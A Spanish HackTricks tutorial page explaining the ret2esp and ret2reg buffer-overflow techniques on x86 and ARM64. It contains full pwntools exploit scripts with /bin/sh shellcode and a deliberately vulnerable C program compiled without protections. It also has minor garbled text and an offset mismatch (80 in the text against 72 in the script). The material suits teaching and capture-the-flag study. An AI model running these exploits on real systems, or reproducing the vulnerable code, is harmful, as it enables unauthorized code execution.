Ret2esp / Ret2reg
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Ret2esp
Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción jmp esp o call esp. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción ret, ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
Si Address Space Layout Randomization (ASLR) no está habilitado en Windows o Linux, es posible utilizar instrucciones jmp esp o call esp que se encuentran en bibliotecas compartidas. Sin embargo, con ASLR activo, es posible que necesites buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar PIE).
Además, poder colocar el shellcode después de la corrupción del EIP, en lugar de en medio de la pila, asegura que cualquier instrucción push o pop ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
Falta de espacio
Si te falta espacio para escribir después de sobrescribir el RIP (quizás solo unos pocos bytes), escribe un shellcode inicial jmp como:
sub rsp, 0x30
jmp rsp
Y escribe el shellcode temprano en la pila.
Ejemplo
Puedes encontrar un ejemplo de esta técnica en https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp con un exploit final como:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Puedes ver otro ejemplo de esta técnica en https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Hay un desbordamiento de búfer sin NX habilitado, se utiliza un gadget para reducir la dirección de $esp y luego un jmp esp; para saltar al shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
De manera similar, si sabemos que una función devuelve la dirección donde se almacena el shellcode, podemos aprovechar las instrucciones call eax o jmp eax (conocidas como técnica ret2eax), ofreciendo otro método para ejecutar nuestro shellcode. Al igual que eax, cualquier otro registro que contenga una dirección interesante podría ser utilizado (ret2reg).
Ejemplo
Puedes encontrar algunos ejemplos aquí:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpyalmacenará eneaxla dirección del buffer donde se almacenó el shellcode yeaxno está siendo sobrescrito, por lo que es posible usar unret2eax.
ARM64
Ret2sp
En ARM64 no hay instrucciones que permitan saltar al registro SP. Podría ser posible encontrar un gadget que mueva sp a un registro y luego salte a ese registro, pero en la libc de mi kali no pude encontrar ningún gadget así:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Los únicos que descubrí cambiarían el valor del registro donde se copió sp antes de saltar a él (por lo que se volvería inútil):
.png)
Ret2reg
Si un registro tiene una dirección interesante, es posible saltar a él simplemente encontrando la instrucción adecuada. Podrías usar algo como:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
En ARM64, es x0 quien almacena el valor de retorno de una función, por lo que podría ser que x0 almacene la dirección de un búfer controlado por el usuario con un shellcode para ejecutar.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Revisando la desensambladura de la función, es posible ver que la dirección del buffer (vulnerable a bof y controlada por el usuario) está almacenada en x0 antes de regresar del desbordamiento de buffer:
.png)
También es posible encontrar el gadget br x0 en la función do_stuff:
.png)
Usaremos ese gadget para saltar a él porque el binario está compilado SIN PIE. Usando un patrón, es posible ver que el offset del desbordamiento de buffer es 80, así que el exploit sería:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
Warning
Si en lugar de
fgetsse hubiera utilizado algo comoread, habría sido posible eludir PIE también solo sobrescribiendo los últimos 2 bytes de la dirección de retorno para volver a la instrucciónbr x0;sin necesidad de conocer la dirección completa.
Confgetsno funciona porque agrega un byte nulo (0x00) al final.
Protecciones
- NX: Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo.
- ASLR & PIE: Estos pueden dificultar encontrar una instrucción a la que saltar a esp o cualquier otro registro.
Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


